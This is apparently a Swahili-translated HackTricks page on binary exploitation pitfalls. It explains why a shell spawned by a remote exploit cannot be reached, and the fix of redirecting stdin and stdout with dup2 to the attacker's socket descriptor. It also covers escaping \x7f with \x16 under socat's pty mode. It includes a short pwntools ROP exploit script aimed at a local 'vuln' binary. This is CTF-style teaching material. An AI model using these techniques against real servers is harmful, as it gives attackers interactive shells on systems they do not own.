Common Exploiting Problems

Jifunze kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

FDs katika Kudukua Kijijini

Unapotuma dudu kwa seva ya mbali ambayo inaita system('/bin/sh') kwa mfano, hii itatekelezwa katika mchakato wa seva kwa hakika, na /bin/sh itatarajia kuingia kutoka stdin (FD: 0) na itachapisha matokeo kwenye stdout na stderr (FDs 1 na 2). Kwa hivyo, mkaidi hataweza kuingiliana na kifaa cha amri.

Njia ya kusuluhisha hii ni kudai kwamba wakati seva ilipoanza iliumba FD nambari 3 (kwa kusikiliza) na kwamba basi, uunganisho wako utakuwa katika FD nambari 4. Kwa hivyo, ni rahisi kutumia syscall dup2 kuzidisha stdin (FD 0) na stdout (FD 1) katika FD 4 (ile ya uunganisho wa mkaidi) hivyo itawezekana kuwasiliana na kifaa cha amri mara tu itakapotekelezwa.

Mfano wa kudukua kutoka hapa:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Tafadhali kumbuka kuwa socat tayari inahamisha stdin na stdout kwa soketi. Walakini, mode ya pty inajumuisha wahariri wa KUFUTA. Kwa hivyo, ikiwa unatuma \x7f (KUFUTA -) ita kufuta herufi iliyotangulia ya shambulio lako.

Ili kuepuka hili, herufi ya kutoroka \x16 lazima iwekwe mbele ya yoyote \x7f iliyotumwa.

Hapa unaweza kupata mfano wa tabia hii.

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Last updated